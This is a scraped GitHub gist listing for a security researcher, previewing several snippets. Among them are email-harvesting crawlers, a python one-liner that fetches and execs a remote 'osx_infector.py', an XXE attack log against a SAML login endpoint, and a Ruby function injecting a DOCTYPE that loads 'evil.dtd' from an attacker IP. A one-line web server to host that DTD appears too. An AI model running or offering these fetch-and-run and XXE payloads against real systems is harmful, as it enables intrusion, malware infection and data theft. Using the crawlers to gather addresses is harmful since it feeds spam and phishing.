Skip to content

Instantly share code, notes, and snippets.

View mrbrutti's full-sized avatar
💭
Hacking ...

マティアス mrbrutti

💭
Hacking ...
96 followers · 7 following
View GitHub Profile
@mrbrutti
mrbrutti / github_email_crawler.rb
Created June 14, 2010 02:45
#!/usr/bin/env ruby
require 'net/http'
require 'cgi'
class Github
GOOGLE = "www.google.com"
GITHUB = "www.github.com"
PORT = 80
QUERY = "/cse?q=site:github.com++intitle:Profile&hl=en&cof=&num=100&filter=0&safe=off&start="
@mrbrutti
mrbrutti / template_sample.html
Created June 23, 2010 03:45
<subject>EMaily Test Email</subject>
<html>
<body>
<h1> Hello %%name%% </h1>
I'm testing this email: %%email%%
Regards,
EMaily
@mrbrutti
mrbrutti / amazon_crawler.rb
Created July 11, 2010 14:05
#!/usr/bin/env ruby
require 'net/http'
require 'cgi'
class Amazon
GOOGLE = "www.google.com"
AMAZON = "www.amazon.com"
PORT = 80
QUERY = "/cse?q=site:http://www.amazon.com/gp/pdp/profile/&hl=en&cof=&num=100&filter=0&safe=off&start="
@mrbrutti
mrbrutti / luhn.go
Created June 24, 2012 05:40
Luhn Algorith in go Lang
package gocard
import (
"fmt"
"io"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"crypto/sha512"
)
@mrbrutti
mrbrutti / keybase.md
Last active August 29, 2015 13:58
keybase.md

Keybase proof

I hereby claim:

  • I am freedomcoder on github.
  • I am ishikawa (https://keybase.io/ishikawa) on keybase.
  • I have a public key whose fingerprint is 17F9 D8EA E46E 3DA6 4F27 BF98 E405 57DA 37FD EB4F

To claim this, I am signing this object:

@mrbrutti
mrbrutti / vim_plugin_update.sh
Created March 5, 2016 21:48
Update Vim Plugins
for i in ~/.vim/bundle/*; do git -C $i pull; done
@mrbrutti
mrbrutti / speed_pw0n.sh
Created March 23, 2016 02:37
Speedy Gonzales
python -c 'import urllib; exec(urllib.urlopen("https://gist.githubusercontent.com/secretsquirrel/2ba497786027472f98dd/raw/328ecf19bfacb7fe386c98543d6b7fa60c4ef2ce/osx_infector.py").read())'
@mrbrutti
mrbrutti / wr_post_sample_1.sh
Created May 2, 2017 18:53
ruby XXETester.rb https://domain.com:4285/api/SsoAuthLoginResponse
Puma 2.14.0 starting…
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://0.0.0.0:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
Running XXE Payload against server https://domain.com:4285/api/SsoAuthLoginResponse
Running XXE Payload against server https://domain.com:4285/api/SsoAuthLoginResponse
RestClient.post “https://domain.com:4285/api/SsoAuthLoginResponse", 6263 byte(s) length, “Accept”=>”text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8", “Accept-Encoding”=>”gzip, deflate”, “Accept-encoding”=>”gzip, deflate, br”, “Accept-language”=>”en-US,en;q=0.5", “Connection”=>”close”, “Content-Length”=>”6263", “Upgrade-insecure-requests”=>”1", “User-agent”=>”Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko/20100101 Firefox/48.0"
RestClient.post “https://domain.com:4285/api/SsoAuthLoginResponse", “SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRG
@mrbrutti
mrbrutti / wr_post_sample_2.rb
Last active May 2, 2017 18:54
wr_post_sample_2.rb
def saml_inject(text, ip)
text.gsub(
“<?xml version=\”1.0\” encoding=\”UTF-8\”?>”,
“<?xml version=\”1.0\” encoding=\”UTF-8\”?><!DOCTYPE root [ <!ENTITY % remote SYSTEM \”http://#{ip}/evil.dtd\"> %remote;]>”
)
end
def SAML_recode(a)
CGI.escape(Base64.encode64(a).strip)
end
@mrbrutti
mrbrutti / wr_post_sample_3.sh
Created May 2, 2017 18:55
ruby -rsinatra -e’set :public_folder, “.”; set :port, 80; set :bind, “0.0.0.0”’